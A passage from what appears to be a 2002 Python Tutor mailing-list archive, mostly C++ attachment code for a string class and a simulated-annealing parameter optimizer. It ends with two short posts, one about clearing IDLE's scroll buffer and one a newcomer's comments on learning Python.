    strprint (*filename, "basisfile::writefile:\n Unable to open file `", "'");
    printf (" with mode %s.\n", mode);
    return 2;
  }

//    while (help != NULL) {
//      if (help->text.size)
//        help->text.filewrite (*filename, "a");
//      if (help->parameter_text.size)
//        help->parameter_text.filewrite (*filename, "a");
//      help = help->next;
//    }

  return 0;
}


int basisfile::build (struct variablelist *variable) {
  struct filetext *help;

  /* Look for specified variable */
  while (variable) {
    help = this->text;
    /* search all parts of basisfile (except in parameter-text-parts) */
    while (help) {
      /* search in text */
      if (variable->linenumber <= help->tlln) {
	/* split text */
	if ( split (&help, variable) ) {
	  printf ("Error while splitting basisfile structure.\n");
	  return 1;
	}
	else
	  /* parameter found */
	  help = NULL;
      }
      else {
	/* nothing found */
	help = help->next;
      }
    }
    /* found parameter? */
    if (!variable->text) {
      printf ("Couldn't find parameter number %d.\n", variable->number);
      printf ("Probably line number %d exceeds number of lines of file.\n",
	      variable->linenumber);
      return 2;
    }
    /* look at next one */
    variable = variable->next;
  }
  return 0;
}


int basisfile::split (struct filetext **text, struct variablelist *variable, 
		      int separators) {
  int line = (*text)->tfln; 
  int linepos = 0, prepos = 0, pastpos;
  int original_size = (*text)->text.size;
  int original_tlln = (*text)->tlln;
  string help, dummy;
  int next_line_offset;
  struct filetext *hft = NULL;

  /* check text */
  if (!text || !(*text)) {
    printf ("basisfile::split:\n Empty filetext structure.  Aborting.\n");
    return 100;
  }

  /* check linenumber and position */
  if (variable->linenumber < 1) {
    printf ("basisfile::split:\n Invalid linenumber %d.\n",
	    variable->linenumber);
    return 99;
  }
  if (variable->position < 0) {
    printf ("basisfile::split:\n Invalid position %d.\n",
	    variable->position);
    return 99;
  }

  /* find right line */
  while (line < variable->linenumber) {
    linepos += (*text)->text.string_complement_span("\n", linepos) + 1;
    line++;
  }
   
  next_line_offset = (*text)->text.string_complement_span("\n", linepos) + 1;
  /* if "\n" was not found, next_line_offset is position of "\0".
     Since this character is not meant to be copied to help, we must
     decrease next_line_offset by 1 in this case. */
  if (next_line_offset+linepos == (*text)->text.size)
    help.ncopy ((*text)->text, next_line_offset-1, linepos);
  else
    help.ncopy ((*text)->text, next_line_offset, linepos);
  
  /* find beginning position of parameter-text in line */
  while (separators < variable->position) { 
    /* if not found */
    if (!(help.string_string(dummy, variable->preseparator, prepos+1))) {
      /* Does line in question continue with next struct? */
      if ( ((*text)->next) && ((*text)->next->tfln == line) )
	return (split ( &((*text)->next), variable, separators));
      else {
	printf("Problem in line no. %d:\n", line);
	printf(" Can not find more than %d", separators);
	strprint (variable->preseparator, " preseparators `", "'.\n");
	printf(" Should have found %d.\n", variable->position);
	strprint (help, "Text of the line under consideration:\n \"", "\"\n");
	return 1;
      }
    } 
    prepos = help.size - dummy.size;
    separators++;
  }

  /* if no separators were meant to be found, dummy would not contain
     the string continuing with guessed variable-text start: dummy
     would be empty. */
  if (!separators)
    dummy.copy (help);

  /* find ending position of parameter-text in line */
  if (!variable->pastseparator.size) {
    printf("Problem with specification of variable no. %d:\n", 
	   variable->number);
    printf(" pastseparatpor is empty.\n");
    return 2;
  }
  else
    if (!(help.string_string(dummy, variable->pastseparator, 
			     help.size-dummy.size 
			     + variable->preseparator.size - 1))) {
      printf("Problem in line no. %d:\n", line);
      printf(" Can not find");
      strprint (variable->pastseparator, " pastseparator `", "' after ");
      printf ("%d. ", separators);
      strprint(variable->preseparator, "presaparator `", "'.\n");
      strprint (help, "Text of the line under consideration:\n \"", "\"\n");
      return 3;
    } 

  pastpos = linepos + help.size - dummy.size;

  /* set adequat positions of beginning of parameter_text */
  prepos += linepos + variable->preseparator.size - 1;

  /* save whole text */
  dummy.copy ((*text)->text);
  /* copy non-parameter-text to text */
  (*text)->text.ncopy (dummy, prepos);
  /* breaking line no. $line means, that text last line number is $line now. */
  (*text)->tlln = line;

  /* Are we dealing with a line already splitted into text and
     paramter_text?  Then save parameter_text and variable_pointer and
     take care of the variable-pointer to this old parameter_text. */
  if ((*text)->parameter_text.size) {
    /* create new basisfile-node */
    hft = new struct filetext;
    /* save parameter_text there. */
    hft->parameter_text.copy ((*text)->parameter_text);
    /* save variable_pointer, too */
    hft->variable_pointer = (*text)->variable_pointer;
    /* redirect variablelist-pointer to new location of old parameter_text. */
    hft->variable_pointer->text = hft;
  }
  /* is some original text left behind new parameter_text?  Save it!  */
  if (pastpos < original_size) {
    /* create new basisfile-node, if not done already */
    if (!hft)
      hft = new struct filetext;
    /* save rest of the text in new node, too */
    hft->text.ncopy (dummy, original_size-pastpos-1, pastpos);
  }

  /* copy parameter-text to parameter_text */
  (*text)->parameter_text.ncopy (dummy, pastpos-prepos, prepos);
  /* link pointer of variable to according parameter_text and backlink
     pointer of *text to that same variable pointer. */
  variable->text = (*text);
  (*text)->variable_pointer = variable;
  
  /* set adequat line numbers for new node and link it to the
     structure, if new node exists. */
  if (hft) {
    /* text last line number is last line number of original text. */
    hft->tlln = original_tlln;
    /* if parameter_text does not include '\n' of original line, new
       text first line number is just the number of the breaked line
       ($line).  Otherwise new tfln is number of next line. */
    if ((*text)->parameter_text.string_character ('\n'))
      hft->tfln = line+1;
    else
      hft->tfln = line;
    /* link new node to structure.  aehm?? Take care of pointer of variable
       struct pointing to text->next. */
    hft->next = (*text)->next;
    //hbf->next->variable_pointer->text = &hbf;
    (*text)->next = hft;
  }
  return 0;
}

int vl2pt (struct variablelist *vl) {
  while (vl) {
    if (vl->text) {
      if (vl->text->parameter_text.copy (vl->x_now)) {
	printf ("vl2pt:\n ");
	printf ("Error while copying x_now to paramter text.\n");
	return 1;
      }
    }
    else {
      printf ("vl2pt:\n ");
      printf ("Cannot find paramter text for variable no. %d.\n", 
	      vl->number);
      return 2;
    }
    vl = vl->next;
  }
  return 0;
}

void print (struct filetext *ft) {
  while (ft) {
    printf ("tfln = %d\ttlln = %d\n", ft->tfln, ft->tlln);
    printf ("variablen_pointer->nummer = ");
    if (ft->variable_pointer)
      printf("%d\n", ft->variable_pointer->number); 
    else
      printf("\n");
    strprint (ft->text, "text:\n `", "'\n");
    strprint (ft->parameter_text, "parameter_text: `", "'\n");
    ft = ft->next;
  }
}

--------------050100040109000407040706
Content-Type: text/plain;
 name="safe_string.cpp"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="safe_string.cpp"

#include "safe_string.h"
#include "variable.h"

#include <math.h>

string::string ()
{
  size = 0;
  str = NULL;
  label = NULL;
}


string::string ( int s, char *l )
{
  init ( s, l );
}


string::string ( char *s, char *l )
{
  size = strlen ( s ) + 1;
  init ( size, l );
  strcpy ( str, s );
}


string::string ( string &s, char *l )
{
  str = NULL;
  size = 0;
  label = l;
  copy ( s );
}


string::~string ()
{
  clean ();
}

void
string::clean ()
{
  if ( str )
    delete [] str;
  str = NULL;
}


void
string::init ( int s, char *l )
{
  if ( s ) {
    size = s;
    str = new char [ s ];
  }
  else
    str = NULL;
  if ( l ) {
    label = new char [ strlen ( l ) + 1 ];
    strcpy ( label, l );
  }
  else
    label = NULL;
}


string &
string::operator = ( string &s )
{
  size = s.size;
  str = s.str;
  label = s.label;
  return *this;
}


void
string::check_index ( int i )
{
  if (  ( i < 0 )  ||  ( i >= size )  )
    {
      printf ( "string::check_index ( %d )", i );
      if ( label )
	printf ( " %s", label );
      printf ( ": Access out of bounds.\n" );
      exit (0);
    }
}


struct string &
string::copy ( string &s )
{
  if ( this->str == s.str )
    return *this;
  
  if ( str )
    delete [] str;
  
  if ( !s.str ) {
    size = 0;
    str = NULL;
    return *this;
  }
  
  size = s.size;
  str = new char [ size ];
  for ( int i=0; i < size; i++ )
    (*this) (i) = s (i);

  return *this;
}


struct string &
string::copy ( char *s )
{
  if ( this->str == s )
    return *this;

  if ( str )
    delete [] str;
  
  size = strlen ( s ) + 1;
  str = new char [ size ];

  for ( int i=0; i < size-1; i++ )
    (*this) (i) = s [i];

  str[size-1] = '\0';

  return *this;
}


int string::copy (double d, long int decimal) {
  /* check decimal */
  if (decimal<0) {
    printf ("string::copy:\n Invalid value of decimal: %d\n", decimal);
    return 1;
  }
  decimal;
  /* number of digits before dot */
  int digits = 0;
  /* number of characters for sprintf-format-string "%fdigits.decimal" */
  /* 4 = '%' 'f' '.' */
  int noc = 3;
  /* calculate number of digits needed to print d */
  /* watch out for negative numbers */
  if ( d < 0 )
    digits += (int)log10(-d) + 2;
  else
    if ( d == 0 ) {
      digits = 1;
      noc++;
    }
    else
      digits += (int)log10(d) + 1;

  /* calculate number of characters needed to print format string */
  noc += (int)log10(digits)+1 + (int)log10(decimal)+1;

  /* build format string */
  char *formatstring = new char [noc];
  sprintf (formatstring, "%%%d.%df", digits, decimal);
    
  /* build string */
  str = new char [ digits + decimal + 2 ];
  sprintf ( str, formatstring, d );
  str[digits + decimal+1] = '\0';
    
  delete [] formatstring;
  
  return 0;
}

int string::copy (int i) {
  /* number of digits */
  int digits = 0;
  /* calculate number of digits needed to print d */
  /* watch out for negative numbers */
  if ( i < 0 )
    digits += (int)log10(-(double)i) + 2;
  else
    if ( i == 0 )
      digits = 1;
    else
      digits += (int)log10(double(i)) + 1;

  /* build string */
  init ( digits + 1 );
  sprintf ( str, "%d", i );
  str[digits] = '\0';

  return 0;
}


int string::copy (struct variable *v) {
  if (!v) {
    printf ("string::copy(struct variable *v):\n");
    printf (" No variable given.\n");
    return 1;
  }
  switch (v->type) {
  case 'i': /* integer */
    copy (v->iv);
    break;
  case 'd': /* double */
//      for (int run = 0; run < 500000; run++) {
//        printf ("run = %d\n", run);
//        fflush(NULL);
      copy (v->dv, v->dprecision);
      //    }
      //return 1;
    break;
  case 's': /* string */
    copy (*(v->sv));
    break;
  default: /* Unknown type */
    printf ("string::copy:\n Unknown type `%c' of struct variable.\n", 
	    v->type);
    return 1;
  }
  return 0;
}

void
string::out (char **s) {
  *s = new char [size];
  strcpy (*s, str);
}

string &
string::compose ( string &first, string &second, char *inbetween )
{
  copy ( first );
  cat ( inbetween );
  cat ( second );
  return *this;
}


string &
string::compose ( string &first, char *second, char *inbetween )
{
  copy ( first );
  cat ( inbetween );
  cat ( second );
  return *this;
}

string &
string::compose ( string &first, double second, char *inbetween )
{
  char help[1000000];
  sprintf(help, "%g", second);
  copy ( first );
  cat ( inbetween );
  cat ( help );
  return *this;
}

string &
string::compose ( string &first, int second, char *inbetween )
{
  char help[1000000];
  sprintf(help, "%d", second);
  copy ( first );
  cat ( inbetween );
  cat ( help );
  return *this;
}

int
string::element ( int i )
{
  return str[i];
}

int
string::compare ( string &s )
{
  return strcmp ( this->str, s.str );
}


int
string::compare ( char *s )
{
  if ( this->str )
    if ( strcmp ( this->str, s ) )
      return 1;
    else
      return 0;
  return -1;
}

int string::string_span ( char *stopset, int offset ) {
  return (strspn (str+offset, stopset)); 
}

int string::string_span ( string &stopset, int offset ) {
  return (strspn (str+offset, stopset.str)); 
}

int string::string_complement_span ( char *stopset ) {
  return (strcspn (str, stopset));
}

int string::string_complement_span ( char *stopset, int offset ) {
  return (strcspn (str+offset, stopset)); 
}

int string::string_complement_span ( string &stopset, int offset ) {
  return (strcspn (str+offset, stopset.str)); 
}

int string::string_string ( struct string &result, char *needle ) {
  char *help;
  if ((help = strstr(str, needle))) {
    result.copy(help);
    return 1;
  }
  else
    return 0;
}

int string::string_string ( struct string &result, struct string &needle ) {
  char *help;
  if ((help = strstr(str, needle.str))) {
    result.copy(help);
    return 1;
  }
  else
    return 0;
}

int string::string_string ( struct string &result, struct string &needle, 
			    int offset ) {
  char *help;
  if ((help = strstr(str+offset, needle.str))) {
    result.copy(help);
    return 1;
  }
  else
    return 0;
}

int string::string_character ( char c ) {
  if (strchr(str, c))
    return 1;
  else
    return 0;
}


void string::string_pointer_break ( string &result, char *needle ) {
  result.copy (strpbrk (str, needle));
}


struct string &
string::ncopy ( string &s, int n )
{
  if ( str )
    delete [] str;

  if ( n > s.size )
    size = s.size;
  else
    size = n + 1;

  if ( size )
    {
      str = new char [ size ];
      
      for ( int i=0; i < size-1; i++ )
	(*this) (i) = s (i);
      (*this) ( size-1 ) = '\0';
    }
  return *this;
}


struct string &
string::ncopy ( string &s, int n, int offset )
{
  if ( n + offset >= s.size )
    {
      printf ( "Error in string::ncopy : ");
      printf ( "  n=%d, offset=%d, s.size=%d\n", n, offset, s.size );
      printf ( "    Hint: size includes `\\0'.\n" );
      exit ( 1 );
    }

  if ( str )
    delete [] str;

  if ( n > s.size-offset )
    size = s.size-offset;
  else
    size = n + 1;

  if ( size )
    {
      str = new char [ size ];
      
      for ( int i=0; i < size-1; i++ )
	(*this) (i) = s (i+offset);
      (*this) ( size-1 ) = '\0';
    }
  return *this;
}


string &
string::cat ( string &s )
{
  string help ( str );

  size += s.size-1;

  if ( str )
    delete [] str;

  str = new char [ size ];

  for ( int i=0; i < size; i++ )
    if ( i < help.size-1 )
      (*this)(i) = help (i);
    else
      (*this)(i) = s (i-help.size+1);
  
  return *this;
}


string &
string::cat ( char *s )
{
  if ( !s )
    return *this;
  
  if ( !str )
    {
      copy ( s );
      return *this;
    }
  
  string help ( str );
  
  size += strlen ( s );
  
  if ( str )
    delete [] str;
  
  str = new char [ size ];
  
  for ( int i=0; i < size; i++ )
    if ( i < help.size-1 )
      (*this)(i) = help (i);
    else
      (*this)(i) = s [ i-help.size+1 ];
  
  return *this;
}


FILE * 
string::fileopen ( char *s )
{
  return ( fopen ( str, s ) );
}

int
string::fileread (string &file) {
  FILE *in;;
  int number = 0;
    
  /* Count number of characters of input file */
  /* open file */
  if ((in = file.fileopen("r"))==NULL) {
    strprint (file, "Cannot open file `", "'.\n");
    return 1;
  }
  /* Count */
  while ( fgetc(in) != EOF )
    number++;
  /* close file */
  fclose (in);

  /* Copy file to string */
  /* open again */
  if ((in = file.fileopen("r"))==NULL) {
    strprint (file, "Cannot open file `", "'.\n");
    printf ("Since I've been able to open it recently, something really");
    printf ("strange is going on.\n");
    return -1;
  }
  /* get memory */
  init (number);
  /* copy */
  for (int i=0; i<number; i++)
    str[i] = fgetc(in);
  return 0;
}

int
string::filereadc (string &file, char c) {
  FILE *in;
  int characters = 1;
  int counter = 0;
  char ch;

  /* Count number of characters of input file and number of c's */
  /* open file */
  if ((in = file.fileopen("r"))==NULL) {
    strprint (file, "Cannot open file `", "'.\n");
    return -1;
  }
  /* Count */
  while ( (ch = fgetc(in)) != EOF ) {
    characters++;
    if ( ch == c )
      counter++;
  }
  /* close file */
  fclose (in);

  /* Copy file to string */
  /* open again */
  if ((in = file.fileopen("r"))==NULL) {
    strprint (file, "Cannot open file `", "'.\n");
    printf ("Since I've been able to open it recently, something really");
    printf ("strange is going on.\n");
    return -1;
  }
  /* get memory */
  init (characters);
  /* copy */
  for (int i=0; i<characters-1; i++)
    str[i] = fgetc(in);
  str[characters-1] = '\0';
  
  fclose (in);
  
  return counter;
}

int string::filewrite (string &file, char *mode) {
  if ( (*mode != 'a') && (*mode != 'w') ) {
    printf ("string::filewrite:\n Invalid mode %s ", mode);
    strprint (file, "for writing string to file `", "'.\n");
    return 1;
  }

  FILE *out = fopen (file.str, mode);
  if (out) {
    fprintf (out, "%s", str);
    fclose (out);
  }
  else {
    strprint (file, "string::filewrite:\n Unable to open file `", "'");
    printf (" with mode %s.\n", mode);
    return 2;
  }
    
  return 0;
}


int string::filewrite (FILE *out) {
  if (out)
    fprintf (out, "%s", str);
  else {
    printf ("string::filewrite:\n file pointer = NULL.\n");
    return 1;
  }
    
  return 0;
}


int string::system_call () {
  return system (str);
}

void
print ( struct string &s )
{
  printf ( "string " );
  if ( s.label )
    printf ( " %s ", s.label );
  printf ( " = \"" );
  for ( int i=0; i<s.size-1; i++ )
    printf ( "%c", s(i) );
  printf ("\"\n");
  return;
}


void 
strprint ( struct string &s, char *first, char *last )
{
  if ( first )
    printf ( "%s", first );    
  for ( int i=0; i < s.size - 1; i++ )
    printf ( "%c", s(i) );
  if ( last )
    printf ( "%s", last );    
  return;
}

void 
strprint ( struct string &s, int offset, char *first, char *last )
{
  if ( first )
    printf ( "%s", first );    
  for ( int i=offset; i < s.size - 1; i++ )
    printf ( "%c", s(i) );
  if ( last )
    printf ( "%s", last );    
  return;
}

void 
strprint ( struct string &s, int offset, char stop, char *first, char *last )
{
  if ( first )
    printf ( "%s", first );    
  
  int i = offset;
  while ( (i < s.size-1) && (s(i) != stop) ) {
    printf ( "%c", s(i) );
    i++;
  }

  if ( last )
    printf ( "%s", last );    
  return;
}


--------------050100040109000407040706
Content-Type: text/plain;
 name="simannealfile.cpp"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="simannealfile.cpp"

#include "simanneal.h"

#include <time.h>
#include <math.h>

#include "calculate.h"

simanneal_varlist::simanneal_varlist () {
  vl = NULL;
  next = NULL;
}

simanneal_varlist::~simanneal_varlist () {
  clean (this);
}

void simanneal_varlist::clean () {
  clean (this);
}

void simanneal_varlist::clean (struct simanneal_varlist *svl) {
  if (svl) {
    if (svl->next) {
      clean (svl->next);
      svl->next = NULL;
    }
    vl->clean ();
  }
}

int simanneal_varlist::pt2xn () {
  struct simanneal_varlist *help = this;
  while (help) {
    if (help->vl->pt2xn (1)) {
      printf ("simanneal_varlist::pt2xn ():\n ");
      printf ("Error while copying parameter text to x_now of variable no. %d",
	      help->vl->number);
      printf ("\n");
      return 1;
    }
    help = help->next;
  }
  return 0;
}

int x_now_2_x_opt (struct simanneal_varlist *svl) {
  while (svl) {
    if (!svl->vl) {
      printf ("x_now_2_x_opt ():\n ");
      printf ("Empty variable list!.\n");
      return 1;
    }
    if (!svl->vl->x_opt) {
      printf ("x_now_2_x_opt ():\n ");
      printf ("Empty x_opt in variable list!.\n");
      return 1;
    }
    if (!svl->vl->x_now) {
      printf ("x_now_2_x_opt ():\n ");
      printf ("Empty x_now in variable list!.\n");
      return 1;
    }

    svl->vl->x_opt->copy (svl->vl->x_now);
    svl = svl->next;
  }
  return 0;
}

simulated_annealing::simulated_annealing () {
  vl = NULL;
  svl = NULL;
  text = NULL;
  success = NULL;
  call = NULL;
};

simulated_annealing::simulated_annealing (struct variablelist *vlist, 
					  struct basisfile *bf, 
					  struct evaluate *eval,
					  int tm, double tf, 
					  struct string *syscall) {
  tc_max = tm;
  t_factor = tf;
  vl = vlist;
  text = bf;
  success = eval;
  call = syscall;
}


simulated_annealing::~simulated_annealing () {
  vl = NULL;
  svl = NULL;
  text = NULL;
  success = NULL;
  call = NULL;
}

int simulated_annealing::build_varlist () {
  struct simanneal_varlist *help = NULL;
  struct variablelist *helpvl = vl;

  while (helpvl) {
    if (helpvl->number > 0) {
      if (help) {
	help->next = new struct simanneal_varlist;
	help = help->next;
      }
      else {
	svl = new struct simanneal_varlist;
	help = svl;
      }
      help->vl = helpvl;
    }
    helpvl = helpvl->next;
  }
  
  if (!help) {
    printf ("simulated_annealing::build_varlist:\n");
    printf (" No valid variables found.\n");
    return 1;
  }
  return 0;
}

int simulated_annealing::optimize ()
{
  /* Value of calculation with valid vector */
  struct variable f_x;
  f_x.init (0.0, 10);
  /* Value of calculation with new vector */
  struct variable f_x_dx;
  f_x_dx.init (0.0, 10);
  /* temperature */
  double temperature = 1;
  /* counter of times of temperature increasement */
  int tc = 1;
  int take;

  /* initialize random number generator */
  time_t init_rand;
  time (&init_rand);
  srand (init_rand);

  /* calculate with first vector */
  if (calculate (f_x, text, call)) {
    printf ("simulated_annealing::optimize ():\n ");
    strprint (*call, "Error while trying to execute\n  `", "'\n");
    return 1;
  }

  while (!success->abort(f_x)) {
    /* build next variation of vector x */
    if (vary_simvarlist ()) {
      printf ("simulated_annealing::optimize ():\n");
      printf (" Error while building new variable vector.\n");
      return 1;
    }

      /* calculate for next variation of vector */
    if (calculate (f_x_dx, vl, text, call)) {
      strprint (*call, "Error while executing\n  ", "\n");
      return 1;
    }
    
    /* evaluate result */
    if ((take = take_new_result (f_x_dx, f_x, temperature)) < 0) {
      printf ("simulated_annealing::optimize:\n");
      printf (" Error while evaluating new result.\n");
      return 1;
    }


    if (take) {
      /* new result is better */
      f_x = f_x_dx;
      /* => x_now becomes new x_opt */
      x_now_2_x_opt (svl);
      /* reset temperature counter */
      tc = 1;
      /* testy */
      printf ("%g\n", svl->vl->x_now->dv);
    }
    else {
      if (tc++ == tc_max) {
	tc = 1;
	temperature *= t_factor;
      }
    }
  }
  return 0;
}

int simulated_annealing::take_new_result (struct variable &fnew, 
					  struct variable &fold, double t) {
  double old;
  double test;
  switch (fnew.type) {
  case 'd' : /* double value */
    if (read_double(old, &fold)) {
      printf ("simulated_annealing::take_new_result:\n");
      printf (" Error while reading `fold'.\n");
      return -1;
    }
    test = (double)rand()/RAND_MAX;
    if ( (fnew.dv < old) 
	 || (exp((old-fnew.dv)/t) > (double)rand()/RAND_MAX)
	 )
      return 1;
    return 0;
    break;
  case 'i' : /* integer value */
    printf ("simulated_annealing::take_new_result:\n");
    printf (" Comparison with integers isn't implemented yet.\n");
    return -1;
    break;
  case 's' : /* string value */
    printf ("simulated_annealing::take_new_result:\n");
    printf (" Comparison with strings isn't implemented yet.\n");
    return -1;
    break;
  default :
    printf ("simulated_annealing::take_new_result:\n");
    printf (" Unknown type of `fnew' `%c'.\n", fnew.type);
    return -1;
  }
  return 0;
}


int simulated_annealing::vary_simvarlist ()
{
  struct simanneal_varlist *help = svl;
  while (help) {
    if (!help->vl->sap) {
      printf("simulated_annealing::vary_simvarlist():\n");
      printf(" No simulated annealing parameters found for variable no. %d.\n",
	     help->vl->number);
      return 1;
    }
    if (random_step (help->vl->x_now, help->vl->sap->dx)) {
      printf ("simulated_annealing::vary_simvarlist():\n");
      printf (" Error while making random step of variable no. %d.\n",
	      help->vl->number);
      return 1;
    }
    help = help->next;
  }
  return 0;
}

//  double 
//  simulated_annealing::amotsa (matrix &p, vector &y, vector &psum, int ndim, vector &pb, 
//  		   double *yb, int ihi, double *yhi, double fac, double tt,
//  		   struct antenna_list *antenna, double f, double k,
//  		   int (*e_func)(complex<double> &E,radiator_list *send, 
//  				 double x, double y, double z, double f, 
//  				 double beta, complex<double> rho,
//  				 char receive_type, char polarization, 
//  				 char field, int posnum)) {
//    int j;
//    double fac1, fac2, yflu, ytry;
//    vector ptry (ndim, "ptry");
  
//    fac1 = (1.0-fac)/ndim;
//    fac2 = fac1-fac;
//    for (j=0; j<ndim; j++)
//      ptry(j) = psum(j)*fac1 - p(ihi,j)*fac2;

//    /* copy try values to antenna */
//    for (int i=0; i<antenna->cl->size; i++) 
//      *(antenna->cl->c[i]) = ptry(i);
//    if (guete_e_position (ytry, f, k, antenna, e_func)) {
//      printf("calculate::amotsa ():\n ");
//      printf("Error while calculating target function value.\n");
//      return 1;
//    }

//    if (ytry <= *yb) {
//      /* try is better => take try! (antenna already holds the
//         try-values) */
//      pb = ptry;
//      *yb = ytry;
//    }
//    else {
//      /* try is worse => discard try.  antenna holds the try-values:
//         restore the pb values to antenna! */
//      for (int i=0; i<antenna->cl->size; i++) 
//        *(antenna->cl->c[i]) = pb(i);
//    }
//    yflu = ytry-tt*log((double)rand()/RAND_MAX);
//    if (yflu < *yhi) {
//      y(ihi) = ytry;
//      *yhi = yflu;
//      for (j=0; j<ndim; j++) {
//        psum(j) += ptry(j)-p(ihi,j);
//        p(ihi,j)=ptry(j);
//      }
//    }
//    return yflu;
//  }

//  int
//  calculate::simuann (double &e_max, double &x_max, double &y_max, double &z_max,
//  		    double &angle_max, antenna_list *antenna, matrix &p_ini, 
//  		    double temperature, double f, double k, 
//  		    int (*e_func)(complex<double> &E,radiator_list *send, 
//  				  double x, double y, double z, double f, 
//  				  double beta, complex<double> rho,
//  				  char receive_type, char polarization, 
//  				  char field, int posnum),
//  		    int biter, int itm, double tfe, double td) {

//    int itermax = itm;
//    double tdecrease = td;
//    double tfactorend = tfe;
//    double oldbest = -1e99;
//    int bigiterate_max = biter;
//    string filename;

//    // Randomgenerator initialisieren
//    time_t init_rand;
//    time (&init_rand);
//    srand (init_rand);
//    // Numerical Recipies in C, p. 452 ff.
  
//    double tt, sum;
//    int n,m;

//    /* number of variables to vary */
//    int ndim = antenna->cl->size;       
//    int mpts = ndim + 1;
//    int i, ilo, ihi, j;
//    double yhi, ylo, ynhi, yt, ytry, ysave;
//    double rtol, swap;
//    vector psum (ndim, "psum");
//    vector pb (ndim, "p best ever");
//    vector y (ndim+1, "y");
//    double yb = 1e99;
//    struct matrix p (p_ini, "point simplex matrix");

//    double ftol = 1e-6;
//    int iter;

//    double verybest = 1e99;
//    vector verybestpoint (ndim, "very best point ever found");

//    for (int bigiterate = 0; bigiterate < bigiterate_max; bigiterate++){
//          p = p_ini;

//      //    print (p);

//      yb = 1e99;
//      zero (pb);
    
//      /* calculate first vector (for edges of simplex described by p) */
//      for (i=0; i<y.size; i++) {
//        /* copy edge coordinates to vector coordinates */
//        for (j=0; j<p.cols; j++)
//  	*(antenna->cl->c[j]) = p(i,j);
//        if (guete_e_position (y(i), f, k, antenna, e_func)) {
//  	printf("calculate::simuann ():\n ");
//  	printf("Error while calculating target function.\n");
//  	return 1;
//        }
//      }
    
//      tt = -temperature;
    
    
//      while (-tt > tfactorend * temperature) {
//        //     printf (" tt = %g\n", tt);
//       iter = itermax;
      
//        // GET_PSUM
//        for (n=0; n<ndim; n++) {
//  	for (sum = 0, m=0; m<mpts; m++)
//  	  sum += p(m,n);
//  	psum(n) = sum;
//        }
      
//        //      print (psum);
      
//        for (;;) {
//  	ilo = 0;
//  	ihi = 1;
//  	ynhi = ylo = y(ilo) + tt*log((double)rand()/RAND_MAX);
//  	yhi = y(ihi) + tt*log((double)rand()/RAND_MAX);
//  	if (ylo > yhi) {
//  	  ihi = 0;
//  	  ilo = 1;
//  	  ynhi = yhi;
//  	  yhi = ylo;
//  	  ylo = ynhi;
//  	}
//  	for (i=2; i<mpts; i++) {
//  	  yt = y(i)+tt*log((double)rand()/RAND_MAX);
//  	  if (yt <= ylo) {
//  	    ilo = i;
//  	    ylo = yt;
//  	  }
//  	  if (yt > yhi) {
//  	    ynhi = yhi;
//  	    ihi = i;
//  	    yhi = yt;
//  	  }
//  	  else 
//  	    if (yt > ynhi)
//  	      ynhi = yt;
//  	}
//  	rtol = 2*fabs(yhi-ylo)/(fabs(yhi)+fabs(ylo));
//  	//printf ("\nrtol = %g\t iter = %d\n", rtol, iter);
//  	if (rtol < ftol || iter < 0) {
//  	  swap = y(0);
//  	  y(1) = y(ilo);
//  	  y(ilo) = swap;
//  	  for (n=0; n<ndim; n++) {
//  	    swap = p(0,n);
//  	    p(0,n) = p(ilo,n);
//  	    p(ilo,n) = swap;
//  	  }
//  	  break;
//  	}
//  	iter -= 2;
	
//  	/* Begin a new iteration. */
//  	/* Try extrapolation through the face of the simplex by a
//             factor of -1 across from the high point. (reflection of the
//             simplex from the high point. */
//  	ytry = amotsa(p, y, psum, ndim, pb, &yb, ihi, &yhi, -1.0, tt, 
//  		      antenna, f, k, e_func);
//  	if (ytry <= ylo) 
//  	  /* Reflection try leads to a better result.  So try an
//               additional extrapolation by a factor of 2. */
//  	  ytry = amotsa(p, y, psum, ndim, pb, &yb, ihi, &yhi, 2.0, tt,
//  			antenna, f, k, e_func);
//  	else 
//  	  if (ytry >= ynhi) {
//  	    /* reflected point is worse than the second-highest, so
//  	       look for an intermediate lower point, i.e. do a
//  	       one-dimensional contraction. */
//  	    ysave = yhi;
//  	    ytry =amotsa(p, y, psum, ndim, pb, &yb, ihi, &yhi, 0.5, tt,
//  			 antenna, f, k, e_func);
//  	    if (ytry >= ysave) {
//  	      /* The high point seems to stay.  So better contract
//                   around the lowest (i.e. best) point. */
//  	      for (i=0; i<mpts; i++)
//  		if (i!=ilo) {
//  		  for (j=0; j<ndim; j++) {
//  		    psum(j) = 0.5*(p(i,j)+p(ilo,j));
//  		    p(i,j) = psum(j);
//  		  }
//  		  for (int u=0; u<psum.size; u++)
//  		    *(antenna->cl->c[u]) = psum(u);
//  		  if (guete_e_position (y(i), f, k, antenna, e_func)) {
//  		    printf("calculate::simuann ():\n ");
//  		    printf("Error while calculating target function.\n");
//  		    return 1;
//  		  }
//  		}
//  	      iter -= ndim;
//  	      // GET_PSUM
//  	      for (n=0; n<ndim; n++) {
//  		for (sum = 0, m=0; m<mpts; m++)
//  		  sum += p(m,n);
//  		psum(n) = sum;
//  	      }
//  	    }
//  	  }
//  	  else
//  	    ++iter;
//        }

//        tt *= tdecrease;
//        if (oldbest != yb) {
//  	oldbest = yb;
//        }
//      }
    
//      if (verybest > yb) {
//        verybest = yb;
//        for (int q=0; q<pb.size; q++)
//  	verybestpoint(q) = pb(q);
//      }
//    }

//    e_max = 1/verybest*1/verybest;
//    x_max = antenna->x;
//    y_max = antenna->y;
//    z_max = antenna->z;

//    return 0;
//  }

--------------050100040109000407040706--



From urnerk@qwest.net  Sun Feb  3 16:51:13 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Sun, 03 Feb 2002 08:51:13 -0800
Subject: [Tutor] Clearing interpreter buffer?
Message-ID: <4.2.0.58.20020203084820.019f2100@pop3.norton.antivirus>

My friend John is running a Python script with lots
of print statements in some looping program.

The data scrolls and scrolls, maybe all day long, and
he says its filling up the history buffer -- what IDLE
keeps around to scroll back through.

He'd like to periodically delete this buffer or clear
it, from within his program.

Is there a way?

Kirby



From flash1210@hotmail.com  Sun Feb  3 06:16:26 2002
From: flash1210@hotmail.com (Frank Holmes)
Date: Sat, 02 Feb 2002 22:16:26 -0800
Subject: [Tutor] Newbie
Message-ID: <F198sLYZrj7zzDI2Yii0001ab2b@hotmail.com>

   I started learning python about 3 months ago. I also started with sam's 
teach yourself in 24 hours   (hint: don't be too surprised if it takes a bit 
longer than 24 hrs ;)  )  I haven't programmed in any other languages, but 
have found python to be very learnable as a starter language. The list here 
is very supportive and patient with newbies.
